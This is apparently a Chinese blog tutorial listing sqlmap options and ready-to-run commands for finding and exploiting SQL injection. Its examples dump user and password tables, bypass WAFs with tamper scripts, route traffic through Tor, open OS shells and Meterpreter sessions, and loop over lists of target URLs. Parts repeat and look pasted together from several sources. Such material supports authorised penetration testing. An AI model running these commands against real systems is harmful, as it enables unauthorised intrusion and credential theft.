2024最新的最全面基本sqlmap使用命令

sqlmap 是一个广泛使用的开源渗透测试工具,专门用于自动化检测和利用 SQL 注入漏洞。以下是对您列出的每个字段的详细举例说明:

基础帮助和版本

  • -h, --help:显示基本的帮助信息并退出。这对于快速查看最常用的选项非常有用。
  • -hh:显示高级帮助信息并退出。这包括更详细的选项描述和示例。
  • --version:显示程序的版本号并退出。这有助于确认您正在使用的 sqlmap 版本。

目标(Target)

  • -u URL, --url=URL:指定目标 URL。例如,"http://www.site.com/vuln.php?id=1",这通常是一个包含潜在 SQL 注入点的 URL。
  • -g GOOGLEDORK:处理 Google Dork 结果作为目标 URL。Google Dork 是一种搜索查询,用于在 Google 上查找可能包含漏洞的网站。

请求(Request)

  • --data=DATA:通过 POST 请求发送的数据字符串。例如,"id=1",这在测试需要 POST 请求的表单时非常有用。
  • --cookie=COOKIE:HTTP Cookie 头的值。例如,"PHPSESSID=a8d127e..",这对于需要会话认证的网站是必要的。
  • --random-agent:使用随机选择的 HTTP User-Agent 头值,以避免被网站通过 User-Agent 识别为自动化工具。
  • --proxy=PROXY:使用代理连接到目标 URL。这有助于绕过 IP 地址封锁或进行匿名测试。
  • --tor:使用 Tor 匿名网络。这有助于保持匿名性。
  • --check-tor:检查是否正确使用了 Tor。

注入(Injection)

  • -p TESTPARAMETER:指定要测试的参数。如果 URL 中有多个参数,您可以选择测试其中的特定一个或多个。
  • --dbms=DBMS:强制后端数据库管理系统(DBMS)为指定值。这有助于 sqlmap 更准确地识别目标 DBMS。

检测(Detection)

  • --level=LEVEL:设置执行的测试级别(1-5,默认为 1)。级别越高,执行的测试越彻底,但可能需要更长时间。
  • --risk=RISK:设置执行测试的风险级别(1-3,默认为 1)。风险级别越高,执行的测试可能越危险,如尝试修改数据库结构或数据。

技术(Techniques)

  • --technique=TECH..:指定要使用的 SQL 注入技术(默认为 "BEUSTQ")。这允许您根据目标的防御机制选择最合适的技术。

枚举(Enumeration)

  • -a, --all:检索所有可能的信息,包括数据库、表、列和数据。
  • -b, --banner:检索 DBMS 的 banner 信息。
  • --current-user:检索 DBMS 的当前用户。
  • --current-db:检索 DBMS 的当前数据库。
  • --passwords:枚举 DBMS 用户的密码哈希。
  • --dbs:枚举 DBMS 中的数据库。
  • --tables:枚举数据库中的表。
  • --columns:枚举表中的列。
  • --schema:枚举 DBMS 的架构。
  • --dump:转储指定数据库表的条目。
  • --dump-all:转储所有数据库表的条目。
  • -D DB:指定要枚举的 DBMS 数据库。
  • -T TBL:指定要枚举的 DBMS 数据库表。
  • -C COL:指定要枚举的 DBMS 数据库表列。

操作系统访问

  • --os-shell:请求一个交互式操作系统 shell。
  • --os-pwn:请求一个 out-of-band shell、Meterpreter 或 VNC,以便在底层操作系统上执行更高级的命令。

一般(General)

  • --batch:从不请求用户输入,使用默认行为。这对于自动化脚本非常有用。
  • --flush-session:为当前目标刷新会话文件。这有助于清理旧的测试数据。

其他(Miscellaneous)

  • --wizard:为初学者用户提供简单的向导界面。这有助于新用户更容易地开始使用 sqlmap

使用示例

要查看完整的选项列表,可以运行 sqlmap.py -hh。例如,要测试 URL http://www.site.com/vuln.php?id=1 的 id 参数是否存在 SQL 注入漏洞,可以使用以下命令:

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" -p id

混合使用

当然,我可以为你生成一些详细组合使用的sqlmap命令示例,涵盖不同的使用场景。请注意,由于sqlmap的选项非常丰富,我将选取几个典型的用例来展示。

1. 基本扫描

扫描单个URL
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --level=3 --risk=2

这个命令将扫描指定的URL,使用中等测试级别(3)和中等风险级别(2)来寻找SQL注入漏洞。

2. 使用POST数据

发送POST请求
 

bash复制代码

sqlmap.py -u "http://www.site.com/login.php" --data="username=admin&password=123456" --level=3 --risk=3

这个命令通过POST方法发送用户名和密码,并使用高级别(3)和高风险(3)进行扫描。

3. 枚举数据库信息

枚举所有数据库
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --dbs --batch

使用--dbs选项枚举后端数据库的所有数据库名,并启用--batch选项以避免任何交互式提示。

枚举特定数据库中的表
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" -D usersdb --tables --batch

指定数据库usersdb并枚举其所有表。

导出特定表的数据
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" -D usersdb -T users --dump --batch

导出usersdb数据库中users表的所有数据。

4. 使用代理和Tor

通过Tor进行扫描
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --tor --check-tor --level=5

使用Tor匿名网络进行扫描,并检查Tor是否正确配置。

使用自定义代理
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080" --level=4

通过本地代理(例如Burp Suite)进行扫描。

5. 自定义请求头

自定义User-Agent
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --level=3

每次请求使用随机的User-Agent头进行扫描。

添加Cookie
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --cookie="PHPSESSID=a8d127e.." --level=2

添加自定义的Cookie头进行扫描。

6. 自定义注入测试

指定测试参数
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1&user=admin" -p "id,user" --level=5

指定iduser两个参数进行测试。

强制DBMS
 

bash复制代码

sqlmap.py -u "http://www.site.com/vuln.php?id=1" --dbms=MySQL --level=4

强制后端数据库为MySQL并进行扫描。

这些示例应该能够涵盖sqlmap的一些常用和高级用法。请根据你的具体需求进行调整。
 

通过代理进行注入测试
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080"
绕过WAF/IDS的检测
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --tamper="space2comment"
批量处理多个URL
 

bash复制代码

sqlmap -m targets.txt

其中targets.txt包含多个目标URL,每行一个。

7.自动化与脚本化

使用自定义脚本
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --script=my_custom_script.py
批量自动化测试

结合shell脚本或Python脚本,批量调用sqlmap命令,处理大量目标。

8.高级特性与技巧

获取操作系统访问权限
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --os-shell

 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --os-pwn
调试模式
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --debug
保存和恢复会话
 

bash复制代码

sqlmap -u "http://example.com/vuln.php?id=1" --save=session.sqlmap
sqlmap --load=session.sqlmap

9.实战案例

实战案例1:检测并枚举目标
 

bash复制代码

# 第一步:检测SQL注入
sqlmap -u "http://example.com/vuln.php?id=1"
# 第二步:枚举所有数据库
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
# 第三步:枚举特定数据库的所有表
sqlmap -u "http://example.com/vuln.php?id=1" -D interesting_db --tables
# 第四步:导出特定表的数据
sqlmap -u "http://example.com/vuln.php?id=1" -D interesting_db -T users -C "username,password" --dump
实战案例2:自动化测试多个目标
 

bash复制代码

# 编写shell脚本,遍历targets.txt中的每个URL,使用sqlmap进行测试
#!/bin/bash
while read url; do
sqlmap -u "$url" --dbs
done < targets.txt

 

SQLMap是一款开源的渗透测试工具,专门用于自动化进行SQL注入的检测和利用。它提供了丰富的功能,如数据库指纹识别、数据读取、访问底层文件系统,甚至执行系统命令。下面详细介绍SQLMap的高级用法,包括基本参数、目标配置、身份验证、请求行为优化以及针对特定目标环境的设置,并通过实例进行说明。

一、基本参数

1. 常用参数
  • -u/--url:后跟需要测试的URL,通常是GET类型注入的必备参数。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1"
  • --batch:在所有需要用户输入的部分自动执行默认操作。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --batch
  • --level:指定payload测试复杂等级,从1到5,默认值为1。等级越高,测试的payload越复杂。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --level 5
  • --risk:指定测试的风险等级,从0到3,默认值为1。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --risk 3
  • --tamper:使用篡改脚本来绕过WAF或IDS。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --tamper "space2comment.py,randomcase.py"
  • --technique:指定要测试的SQL注入类型,如基于布尔的盲注、基于错误等。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --technique BE
2. 数据库相关参数
  • --dbms:指定数据库类型。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbms mysql
  • -D, --database:指定要枚举的数据库名。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" -D testdb
  • -T, --table:指定要枚举的表名。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" -D testdb -T users
  • -C, --columns:指定要枚举的列名。

     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" -D testdb -T users -C username,password

二、目标配置

1. 直连数据库

可以直接通过数据库连接字符串来连接数据库。

 

bash复制代码

python sqlmap.py -d "mysql://root:password@192.168.1.1:3306/dbname" --banner
2. 指定请求方式
  • --method:指定请求方式(GET/POST)。
     

    bash复制代码

    python sqlmap.py --method POST -u "http://example.com/login.php" --data "username=admin&password=pass"

三、身份验证

1. HTTP身份验证
  • --auth-type:HTTP身份验证类型(Basic, Digest或NTLM)。
  • --auth-cred:HTTP身份验证凭据(用户名:密码)。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --auth-type Basic --auth-cred "user:password"

四、请求行为优化

1. 多线程
  • --threads:设置并发HTTP请求的数量。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --threads 10
2. 代理设置
  • --proxy:使用HTTP代理连接到目标URL。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --proxy http://127.0.0.1:8080
3. 延迟和超时
  • --delay:设置每个HTTP请求之间的延迟时间。
  • --timeout:设置等待连接超时的时间。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --delay 1 --timeout 10

五、针对特定目标环境的设置

1. Cookie注入
  • --cookie:指定HTTP Cookie头。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --cookie "sessionid=abc123"
2. 自定义HTTP头部
  • --headers:指定额外的HTTP头。
     

    bash复制代码

    python sqlmap.py -u "http://example.com/vuln.php?id=1" --headers "User-Agent: CustomAgent"
3. 篡改脚本

使用篡改脚本来绕过特定的安全机制。

六、实例说明

示例1:检测并枚举数据库信息
 

bash复制代码

python sqlmap.py -u "http://example.com/vuln.php?id=1" --batch --dbs --users --privileges
示例2:直连数据库获取版本信息
 

bash复制代码

python sqlmap.py -d "mysql://root:password@192.168.1.1:3306/dbname" --banner
示例3:使用POST数据和自定义User-Agent
 

bash复制代码

python sqlmap.py --method POST -u "http://example.com/login.php" --data "username=admin&password=pass" --user-agent "CustomAgent"

通过这些高级用法和参数,SQLMap可以更加灵活和强大地应对各种SQL注入场景,帮助渗透测试人员高效地进行安全检测。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

文章永久免费只为良心

你的鼓励是我的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值